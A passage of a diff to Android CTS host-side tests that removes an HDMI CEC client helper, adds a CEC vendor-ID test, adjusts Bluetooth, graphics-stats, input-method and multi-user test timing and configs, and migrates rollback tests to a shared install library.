-     * default timeout. If the CEC message is not found within the timeout, an exception is thrown.
-     */
-    public String checkExpectedOutput(CecDevice toDevice,
-                                      CecMessage expectedMessage) throws Exception {
-        return checkExpectedOutput(toDevice, expectedMessage, DEFAULT_TIMEOUT);
-    }
-
-    /**
-     * Looks for the CEC expectedMessage broadcast on the cec-client communication channel and
-     * returns the first line that contains that message within timeoutMillis. If the CEC message
-     * is not found within the timeout, an exception is thrown.
-     */
-    public String checkExpectedOutput(CecMessage expectedMessage,
-                                      long timeoutMillis) throws Exception {
-        return checkExpectedOutput(CecDevice.BROADCAST, expectedMessage, timeoutMillis);
-    }
-
-    /**
-     * Looks for the CEC expectedMessage sent to CEC device toDevice on the cec-client
-     * communication channel and returns the first line that contains that message within
-     * timeoutMillis. If the CEC message is not found within the timeout, an exception is thrown.
-     */
-    public String checkExpectedOutput(CecDevice toDevice, CecMessage expectedMessage,
-                                       long timeoutMillis) throws Exception {
-        checkCecClient();
-        long startTime = System.currentTimeMillis();
-        long endTime = startTime;
-        Pattern pattern = Pattern.compile("(.*>>)(.*?)" +
-                                          "(" + targetDevice + toDevice + "):" +
-                                          "(" + expectedMessage + ")(.*)",
-                                          Pattern.CASE_INSENSITIVE);
-
-        while ((endTime - startTime <= timeoutMillis)) {
-            if (mInputConsole.ready()) {
-                String line = mInputConsole.readLine();
-                if (pattern.matcher(line).matches()) {
-                    CLog.v("Found " + expectedMessage.name() + " in " + line);
-                    return line;
-                }
-            }
-            endTime = System.currentTimeMillis();
-        }
-        throw new Exception("Could not find message " + expectedMessage.name());
-    }
-
-    /** Gets the hexadecimal ASCII character values of a string. */
-    public String getHexAsciiString(String string) {
-        String asciiString = "";
-        byte[] ascii = string.trim().getBytes();
-
-        for (byte b : ascii) {
-            asciiString.concat(Integer.toHexString(b));
-        }
-
-        return asciiString;
-    }
-
-    /** Prepares a CEC message. */
-    public String prepareMessage(CecDevice source, CecDevice destination, CecMessage message,
-                                 int params) {
-        String cecMessage = "" + source + destination + ":" + message;
-
-        String paramsString = Integer.toHexString(params);
-        int position = 0;
-        int endPosition = 2;
-
-        do {
-            cecMessage.concat(":" + paramsString.substring(position, endPosition));
-            position = endPosition;
-            endPosition += 2;
-        } while (endPosition <= paramsString.length());
-
-        return cecMessage;
-    }
-
-    /**
-     * Gets the params from a CEC message.
-     */
-    public int getParamsFromMessage(String message) {
-        return Integer.parseInt(getNibbles(message).substring(4), HEXADECIMAL_RADIX);
-    }
-
-    /**
-     * Gets the first 'numNibbles' number of param nibbles from a CEC message.
-     */
-    public int getParamsFromMessage(String message, int numNibbles) {
-        int paramStart = 4;
-        int end = numNibbles + paramStart;
-        return Integer.parseInt(getNibbles(message).substring(paramStart, end), HEXADECIMAL_RADIX);
-    }
-
-    /**
-     * From the params of a CEC message, gets the nibbles from position start to position end.
-     * The start and end are relative to the beginning of the params. For example, in the following
-     * message - 4F:82:10:00:04, getParamsFromMessage(message, 0, 4) will return 0x1000 and
-     * getParamsFromMessage(message, 4, 6) will return 0x04.
-     */
-    public int getParamsFromMessage(String message, int start, int end) {
-        return Integer.parseInt(getNibbles(message).substring(4).substring(start, end), HEXADECIMAL_RADIX);
-    }
-
-    /**
-     * Gets the source logical address from a CEC message.
-     */
-    public CecDevice getSourceFromMessage(String message) {
-        String param = getNibbles(message).substring(0, 1);
-        return CecDevice.getDevice(Integer.parseInt(param, HEXADECIMAL_RADIX));
-    }
-
-
-    /**
-     * Gets the destination logical address from a CEC message.
-     */
-    public CecDevice getDestinationFromMessage(String message) {
-        String param = getNibbles(message).substring(1, 2);
-        return CecDevice.getDevice(Integer.parseInt(param, HEXADECIMAL_RADIX));
-    }
-
-    private String getNibbles(String message) {
-        final String tag1 = "group1";
-        final String tag2 = "group2";
-        String paramsPattern = "(?:.*[>>|<<].*?)" +
-                               "(?<" + tag1 + ">[\\p{XDigit}{2}:]+)" +
-                               "(?<" + tag2 + ">\\p{XDigit}{2})" +
-                               "(?:.*?)";
-        String nibbles = "";
-
-        Pattern p = Pattern.compile(paramsPattern);
-        Matcher m = p.matcher(message);
-        if (m.matches()) {
-            nibbles = m.group(tag1).replace(":", "") + m.group(tag2);
-        }
-        return nibbles;
-    }
-
-    /**
-     * Kills the cec-client process that was created in init().
-     */
-    public void killCecProcess() {
-        try {
-            checkCecClient();
-            sendConsoleMessage(CecClientMessage.QUIT_CLIENT.toString());
-            mOutputConsole.close();
-            mInputConsole.close();
-            mCecClientInitialised = false;
-        } catch (Exception e) {
-            /* If cec-client is not running, do not throw an exception, just return. */
-            return;
-        }
-    }
-}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecVendorCommandsTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecVendorCommandsTest.java
new file mode 100644
index 0000000..d4111d4
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecVendorCommandsTest.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts;
+
+import static org.junit.Assert.assertNotEquals;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Rule;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+/** HDMI CEC test to verify device vendor specific commands (Section 11.2.9) */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecVendorCommandsTest extends BaseHostJUnit4Test {
+    private static final CecDevice PLAYBACK_DEVICE = CecDevice.PLAYBACK_1;
+    private static final int INCORRECT_VENDOR_ID = 0x0;
+
+    @Rule
+    public HdmiCecClientWrapper hdmiCecClient =
+        new HdmiCecClientWrapper(CecDevice.PLAYBACK_1, this);
+
+    /**
+     * Test 11.2.9-1
+     * Tests that the device responds to a <GIVE_DEVICE_VENDOR_ID> from various source devices
+     * with a <DEVICE_VENDOR_ID>.
+     */
+    @Test
+    public void cect_11_2_9_1_GiveDeviceVendorId() throws Exception {
+        for (CecDevice cecDevice : CecDevice.values()) {
+            hdmiCecClient.sendCecMessage(cecDevice, CecMessage.GIVE_DEVICE_VENDOR_ID);
+            String message = hdmiCecClient.checkExpectedOutput(CecMessage.DEVICE_VENDOR_ID);
+            assertNotEquals(INCORRECT_VENDOR_ID, hdmiCecClient.getParamsFromMessage(message));
+        }
+    }
+
+    /**
+     * Test 11.2.9-2
+     * Tests that the device broadcasts a <DEVICE_VENDOR_ID> message after successful
+     * initialisation and address allocation.
+     */
+    @Test
+    public void cect_11_2_9_2_DeviceVendorIdOnInit() throws Exception {
+        ITestDevice device = getDevice();
+        device.executeShellCommand("reboot");
+        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+        String message = hdmiCecClient.checkExpectedOutput(CecMessage.DEVICE_VENDOR_ID);
+        assertNotEquals(INCORRECT_VENDOR_ID, hdmiCecClient.getParamsFromMessage(message));
+    }
+}
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java
index 38fbf56..a5a220c 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsBgVsFgActions.java
@@ -75,6 +75,9 @@
     /** Number of times to check that app is in correct state before giving up. */
     public static final int PROC_STATE_CHECK_ATTEMPTS = 10;
 
+    /** Number of times to check that Bluetooth is enabled before giving up. */
+    public static final int BT_ENABLE_ATTEMPTS = 8;
+
     /** Perform the action specified by the given action code (see constants above). */
     public static void doAction(Context ctx, String actionCode, String requestCode) {
         if (actionCode == null) {
@@ -167,7 +170,17 @@
                 Log.e(TAG, "Bluetooth is not enabled");
                 return;
             }
-            sleep(8_000);
+            for (int attempt = 0; attempt < BT_ENABLE_ATTEMPTS; attempt++) {
+                if (bluetoothAdapter.isEnabled()) {
+                    break;
+                } else {
+                    if (attempt < BT_ENABLE_ATTEMPTS - 1) {
+                        sleep(1_000);
+                    } else {
+                        throw new RuntimeException("Bluetooth enable failed.");
+                    }
+                }
+            }
             bluetoothEnabledByTest = true;
         }
 
diff --git a/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
index 90b78fc..1356600 100644
--- a/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/GraphicsStatsValidationTest.java
@@ -126,8 +126,8 @@
         assertTrue(jankyDelta < 25);
 
         int gt150msDelta = countFramesAbove(statsAfter, 150) - countFramesAbove(statsBefore, 150);
-        assertTrue(gt150msDelta >= 20); // 10 davey jrs + 10 daveys + maybe first frame
-        assertTrue(gt150msDelta <= 21);
+        assertTrue(gt150msDelta >= 20); // 10 davey jrs + 10 daveys + maybe first 2 frames
+        assertTrue(gt150msDelta <= 22);
         int gt700msDelta = countFramesAbove(statsAfter, 700) - countFramesAbove(statsBefore, 700);
         assertEquals(10, gt700msDelta); // 10 daveys
     }
diff --git a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/DeviceTestConstants.java b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/DeviceTestConstants.java
index e69dc5f..d6bc90e 100644
--- a/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/DeviceTestConstants.java
+++ b/hostsidetests/inputmethodservice/common/src/android/inputmethodservice/cts/common/test/DeviceTestConstants.java
@@ -113,6 +113,6 @@
     private static final String NO_OP_TEST =
             "android.inputmethodservice.cts.devicetest.NoOpDeviceTest";
 
-    public static final TestInfo TEST_WAIT_3SEC =
-            new TestInfo(PACKAGE, NO_OP_TEST, "testWait3Sec");
+    public static final TestInfo TEST_WAIT_15SEC =
+            new TestInfo(PACKAGE, NO_OP_TEST, "testWait15Sec");
 }
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/NoOpDeviceTest.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/NoOpDeviceTest.java
index 34402ee..dcd79f5 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/NoOpDeviceTest.java
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/NoOpDeviceTest.java
@@ -29,9 +29,9 @@
 @RunWith(AndroidJUnit4.class)
 public class NoOpDeviceTest {
 
-    /** Does nothing but just wait 3 seconds. */
+    /** Does nothing but just wait 15 seconds. */
     @Test
-    public void testWait3Sec() {
-        SystemClock.sleep(3000);
+    public void testWait15Sec() {
+        SystemClock.sleep(15000);
     }
 }
diff --git a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/MultiUserTest.java b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/MultiUserTest.java
index af7d944..f1e73a2 100644
--- a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/MultiUserTest.java
+++ b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/MultiUserTest.java
@@ -152,7 +152,7 @@
         final int secondaryUserId = getDevice().createUser(
                 "InputMethodMultiUserTest_secondaryUser" + System.currentTimeMillis());
 
-        getDevice().startUser(secondaryUserId);
+        getDevice().startUser(secondaryUserId, true /* waitFlag */);
 
         installPossibleInstantPackage(DeviceTestConstants.APK, primaryUserId, instant);
         installPossibleInstantPackage(DeviceTestConstants.APK, secondaryUserId, instant);
@@ -212,7 +212,7 @@
         final int primaryUserId = getDevice().getPrimaryUserId();
         final int profileUserId = createProfile(primaryUserId);
 
-        getDevice().startUser(profileUserId);
+        getDevice().startUser(profileUserId, true /* waitFlag */);
 
         installPossibleInstantPackage(DeviceTestConstants.APK, primaryUserId, instant);
         installPossibleInstantPackage(DeviceTestConstants.APK, profileUserId, instant);
@@ -351,13 +351,13 @@
             try {
                 // This test should never fail.  If this fails, it means that the system was not yet
                 // ready to run tests in this APK.
-                runTestAsUser(DeviceTestConstants.TEST_WAIT_3SEC, userId);
+                runTestAsUser(DeviceTestConstants.TEST_WAIT_15SEC, userId);
                 return;
             } catch (AssertionError e) {
                 // Ignoring because it can be because of Bug 132082599.
             }
         }
-        runTestAsUser(DeviceTestConstants.TEST_WAIT_3SEC, userId);
+        runTestAsUser(DeviceTestConstants.TEST_WAIT_15SEC, userId);
     }
 
 
diff --git a/hostsidetests/jdwpsecurity/AndroidTest.xml b/hostsidetests/jdwpsecurity/AndroidTest.xml
index 6d6db7ce..f946b9b 100644
--- a/hostsidetests/jdwpsecurity/AndroidTest.xml
+++ b/hostsidetests/jdwpsecurity/AndroidTest.xml
@@ -17,6 +17,7 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsJdwpSecurityHostTestCases.jar" />
diff --git a/hostsidetests/jdwptunnel/AndroidTest.xml b/hostsidetests/jdwptunnel/AndroidTest.xml
index 434d5ac..89b8c74 100644
--- a/hostsidetests/jdwptunnel/AndroidTest.xml
+++ b/hostsidetests/jdwptunnel/AndroidTest.xml
@@ -16,6 +16,7 @@
 <configuration description="Config for the CTS JDWP tunnel host test cases">
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <option name="test-suite-tag" value="cts" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
diff --git a/hostsidetests/jvmti/attaching/host/AndroidTest.xml b/hostsidetests/jvmti/attaching/host/AndroidTest.xml
index 5972229..c9da495 100644
--- a/hostsidetests/jvmti/attaching/host/AndroidTest.xml
+++ b/hostsidetests/jvmti/attaching/host/AndroidTest.xml
@@ -18,6 +18,7 @@
     <!-- Requires debuggable -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/monkey/AndroidTest.xml b/hostsidetests/monkey/AndroidTest.xml
index 88abf14..fdb2296 100644
--- a/hostsidetests/monkey/AndroidTest.xml
+++ b/hostsidetests/monkey/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="misc" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsMonkeyTestCases.jar" />
         <option name="runtime-hint" value="5m7s" />
diff --git a/hostsidetests/os/OWNERS b/hostsidetests/os/OWNERS
new file mode 100644
index 0000000..ca737ac
--- /dev/null
+++ b/hostsidetests/os/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 25692
+michaelwr@google.com
+santoscordon@google.com
+per-file InattentiveSleepTests.java=rgl@google.com, robhor@google.com
diff --git a/hostsidetests/os/test-apps/PowerManagerTestApp/Android.bp b/hostsidetests/os/test-apps/PowerManagerTestApp/Android.bp
new file mode 100644
index 0000000..502d708
--- /dev/null
+++ b/hostsidetests/os/test-apps/PowerManagerTestApp/Android.bp
@@ -0,0 +1,28 @@
+//
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsHostPowerManagerTestApp",
+    defaults: ["cts_support_defaults"],
+    sdk_version: "current",
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/os/test-apps/PowerManagerTestApp/Android.mk b/hostsidetests/os/test-apps/PowerManagerTestApp/Android.mk
deleted file mode 100644
index e58a3d2..0000000
--- a/hostsidetests/os/test-apps/PowerManagerTestApp/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-#
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsHostPowerManagerTestApp
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/rollback/Android.bp b/hostsidetests/rollback/Android.bp
index c3dbe18..817a339 100644
--- a/hostsidetests/rollback/Android.bp
+++ b/hostsidetests/rollback/Android.bp
@@ -24,7 +24,7 @@
 android_test_helper_app {
     name: "CtsRollbackManagerHostTestHelperApp",
     srcs:  ["app/src/**/*.java"],
-    static_libs: ["androidx.test.rules", "cts-rollback-lib"],
+    static_libs: ["androidx.test.rules", "cts-rollback-lib", "cts-install-lib"],
     manifest : "app/AndroidManifest.xml",
     java_resources:  [
         ":StagedInstallTestApexV2",
diff --git a/hostsidetests/rollback/app/AndroidManifest.xml b/hostsidetests/rollback/app/AndroidManifest.xml
index 2aac999..421ceff 100644
--- a/hostsidetests/rollback/app/AndroidManifest.xml
+++ b/hostsidetests/rollback/app/AndroidManifest.xml
@@ -18,7 +18,7 @@
           package="com.android.cts.rollback.host.app" >
 
     <application>
-        <receiver android:name="com.android.cts.rollback.lib.LocalIntentSender"
+        <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
                   android:exported="true" />
         <uses-library android:name="android.test.runner" />
     </application>
diff --git a/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java b/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java
index 1e8040d..4faa965 100644
--- a/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java
+++ b/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java
@@ -21,14 +21,16 @@
 import static com.google.common.truth.Truth.assertThat;
 
 import android.Manifest;
+import android.content.pm.PackageInstaller;
 import android.content.rollback.RollbackInfo;
+import android.util.Log;
 
-import androidx.test.InstrumentationRegistry;
-
-import com.android.cts.rollback.lib.Install;
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.InstallUtils;
+import com.android.cts.install.lib.TestApp;
+import com.android.cts.install.lib.Uninstall;
 import com.android.cts.rollback.lib.Rollback;
-import com.android.cts.rollback.lib.TestApp;
-import com.android.cts.rollback.lib.Utils;
+import com.android.cts.rollback.lib.RollbackUtils;
 
 import org.junit.After;
 import org.junit.Before;
@@ -43,14 +45,15 @@
  */
 @RunWith(JUnit4.class)
 public class HostTestHelper {
+    private static final String TAG = "RollbackTest";
+
 
     /**
      * Adopts common permissions needed to test rollbacks.
      */
     @Before
     public void setup() throws InterruptedException, IOException {
-        InstrumentationRegistry.getInstrumentation().getUiAutomation()
-                .adoptShellPermissionIdentity(
+        InstallUtils.adoptShellPermissionIdentity(
                     Manifest.permission.INSTALL_PACKAGES,
                     Manifest.permission.DELETE_PACKAGES,
                     Manifest.permission.TEST_MANAGE_ROLLBACKS);
@@ -61,10 +64,32 @@
      */
     @After
     public void teardown() throws InterruptedException, IOException {
-        InstrumentationRegistry.getInstrumentation().getUiAutomation()
-                .dropShellPermissionIdentity();
+        InstallUtils.dropShellPermissionIdentity();
     }
 
+    /**
+     * Called by host side @Before/@After methods to clean up leftover sessions from last test
+     * so staged-installs won't fail.
+     */
+    @Test
+    public void cleanUp() throws Exception {
+        PackageInstaller packageInstaller = InstallUtils.getPackageInstaller();
+        packageInstaller.getStagedSessions().forEach(sessionInfo -> {
+            if (sessionInfo.getParentSessionId() != PackageInstaller.SessionInfo.INVALID_ID
+                    || sessionInfo.isStagedSessionApplied()
+                    || sessionInfo.isStagedSessionFailed()) {
+                return;
+            }
+            try {
+                Log.i(TAG, "abandoning session " + sessionInfo.getSessionId());
+                packageInstaller.abandonSession(sessionInfo.getSessionId());
+            } catch (Exception e) {
+                Log.e(TAG, "Failed to abandon session " + sessionInfo.getSessionId(), e);
+            }
+        });
+
+        Uninstall.packages(TestApp.A);
+    }
 
     /**
      * Test rollbacks of staged installs involving only apks.
@@ -72,7 +97,7 @@
      */
     @Test
     public void testApkOnlyEnableRollback() throws Exception {
-        assertThat(Utils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
 
         Install.single(TestApp.A1).commit();
         Install.single(TestApp.A2).setStaged().setEnableRollback().commit();
@@ -88,15 +113,15 @@
      */
     @Test
     public void testApkOnlyCommitRollback() throws Exception {
-        assertThat(Utils.getInstalledVersion(TestApp.A)).isEqualTo(2);
-        RollbackInfo available = Utils.getAvailableRollback(TestApp.A);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+        RollbackInfo available = RollbackUtils.getAvailableRollback(TestApp.A);
         assertThat(available).isStaged();
         assertThat(available).packagesContainsExactly(
                 Rollback.from(TestApp.A2).to(TestApp.A1));
-        assertThat(Utils.getCommittedRollback(TestApp.A)).isNull();
+        assertThat(RollbackUtils.getCommittedRollback(TestApp.A)).isNull();
 
-        Utils.rollback(available.getRollbackId(), TestApp.A2);
-        RollbackInfo committed = Utils.getCommittedRollback(TestApp.A);
+        RollbackUtils.rollback(available.getRollbackId(), TestApp.A2);
+        RollbackInfo committed = RollbackUtils.getCommittedRollback(TestApp.A);
         assertThat(committed).hasRollbackId(available.getRollbackId());
         assertThat(committed).isStaged();
         assertThat(committed).packagesContainsExactly(
@@ -106,8 +131,8 @@
 
         // Note: The app is not rolled back until after the rollback is staged
         // and the device has been rebooted.
-        Utils.waitForSessionReady(committed.getCommittedSessionId());
-        assertThat(Utils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+        InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
 
         // At this point, the host test driver will reboot the device and run
         // testApkOnlyConfirmRollback().
@@ -119,9 +144,9 @@
      */
     @Test
     public void testApkOnlyConfirmRollback() throws Exception {
-        assertThat(Utils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
 
-        RollbackInfo committed = Utils.getCommittedRollback(TestApp.A);
+        RollbackInfo committed = RollbackUtils.getCommittedRollback(TestApp.A);
         assertThat(committed).isStaged();
         assertThat(committed).packagesContainsExactly(
                 Rollback.from(TestApp.A2).to(TestApp.A1));
@@ -138,7 +163,7 @@
      */
     @Test
     public void testApexOnlyInstallFirstVersion() throws Exception {
-        assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(1);
 
         Install.single(TestApp.Apex2).setStaged().commit();
 
@@ -152,7 +177,7 @@
      */
     @Test
     public void testApexOnlyEnableRollback() throws Exception {
-        assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
         Install.single(TestApp.Apex3).setStaged().setEnableRollback().commit();
 
         // At this point, the host test driver will reboot the device and run
@@ -165,14 +190,14 @@
      */
     @Test
     public void testApexOnlyCommitRollback() throws Exception {
-        assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
-        RollbackInfo available = Utils.getAvailableRollback(TestApp.Apex);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
+        RollbackInfo available = RollbackUtils.getAvailableRollback(TestApp.Apex);
         assertThat(available).isStaged();
         assertThat(available).packagesContainsExactly(
                 Rollback.from(TestApp.Apex3).to(TestApp.Apex2));
 
-        Utils.rollback(available.getRollbackId(), TestApp.Apex3);
-        RollbackInfo committed = Utils.getCommittedRollbackById(available.getRollbackId());
+        RollbackUtils.rollback(available.getRollbackId(), TestApp.Apex3);
+        RollbackInfo committed = RollbackUtils.getCommittedRollbackById(available.getRollbackId());
         assertThat(committed).isNotNull();
         assertThat(committed).isStaged();
         assertThat(committed).packagesContainsExactly(
@@ -182,8 +207,8 @@
 
         // Note: The app is not rolled back until after the rollback is staged
         // and the device has been rebooted.
-        Utils.waitForSessionReady(committed.getCommittedSessionId());
-        assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
+        InstallUtils.waitForSessionReady(committed.getCommittedSessionId());
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
 
         // At this point, the host test driver will reboot the device and run
         // testApexOnlyConfirmRollback().
@@ -195,7 +220,7 @@
      */
     @Test
     public void testApexOnlyConfirmRollback() throws Exception {
-        assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
 
         // Rollback data for shim apex will remain in storage since the apex cannot be completely
         // removed and thus the rollback data won't be expired. Unfortunately, we can't also delete
@@ -213,8 +238,8 @@
      */
     @Test
     public void testApexAndApkInstallFirstVersion() throws Exception {
-        assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(1);
-        assertThat(Utils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(1);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(-1);
 
         Install.multi(TestApp.Apex2, TestApp.A1).setStaged().commit();
 
@@ -228,8 +253,8 @@
      */
     @Test
     public void testApexAndApkEnableRollback() throws Exception {
-        assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
-        assertThat(Utils.getInstalledVersion(TestApp.A)).isEqualTo(1);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(2);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
         Install.multi(TestApp.Apex3, TestApp.A2).setStaged().setEnableRollback().commit();
 
         // At this point, the host test driver will reboot the device and run
@@ -242,16 +267,16 @@
      */
     @Test
     public void testApexAndApkCommitRollback() throws Exception {
-        assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
-        assertThat(Utils.getInstalledVersion(TestApp.A)).isEqualTo(2);
-        RollbackInfo available = Utils.getAvailableRollback(TestApp.Apex);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
+        assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(2);
+        RollbackInfo available = RollbackUtils.getAvailableRollback(TestApp.Apex);
         assertThat(available).isStaged();
         assertThat(available).packagesContainsExactly(
                 Rollback.from(TestApp.Apex3).to(TestApp.Apex2),
                 Rollback.from(TestApp.A2).to(TestApp.A1));
 
-        Utils.rollback(available.getRollbackId(), TestApp.Apex3, TestApp.A2);
-        RollbackInfo committed = Utils.getCommittedRollback(TestApp.A);
+        RollbackUtils.rollback(available.getRollbackId(), TestApp.Apex3, TestApp.A2);
+        RollbackInfo committed = RollbackUtils.getCommittedRollback(TestApp.A);
         assertThat(committed).isNotNull();
         assertThat(committed).isStaged();
         assertThat(committed).packagesContainsExactly(
@@ -262,9 +287,9 @@
 
         // Note: The app is not rolled back until after the rollback is staged
         // and the device has been rebooted.
-        Utils.waitForSessionReady(committed.getCommittedSessionId());
-        assertThat(Utils.getInstalledVersion(TestApp.Apex)).isEqualTo(3);
-        assertThat(Utils.getInstalledVersion(TestApp.A)).isEqualTo(2);
